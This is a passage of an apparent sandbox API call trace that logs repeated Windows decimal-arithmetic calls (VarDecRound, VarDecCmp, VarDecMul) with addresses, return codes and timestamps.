pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.267] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.267] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.267] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.267] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0204.267] VarDecCmp (pdecLeft=0x12feb18, pdecRight=0x12feb08) returned 0x1 [0204.267] VarDecMul (in: pdecLeft=0x12feb18, pdecRight=0x12feb08, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.267] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.267] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.267] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.267] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.268] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.268] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.268] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.268] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.268] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.268] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.268] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.268] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.268] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.268] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.268] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.268] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.268] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.268] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.268] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.268] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.268] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.269] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.269] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.269] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.269] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.269] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.269] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.269] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.269] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.269] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.269] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.269] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.269] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0204.269] VarDecMul (in: pdecLeft=0x12feb18, pdecRight=0x12feb08, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.269] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.269] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.269] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.270] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.270] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.270] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.270] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.270] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.270] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.270] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.270] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.270] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.270] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.270] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.270] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.270] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.270] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.270] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.270] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.270] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.271] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.271] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.271] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.271] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.271] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.271] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.271] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.271] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.271] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.271] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.271] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.271] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.271] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.271] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.271] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.271] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.271] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.272] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.272] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.272] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.272] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.272] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.272] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.272] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.272] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.272] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.272] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.272] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.272] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.272] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.272] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.272] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.272] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.272] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.272] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.272] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.272] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.272] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.272] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.272] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.272] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.272] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.272] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: 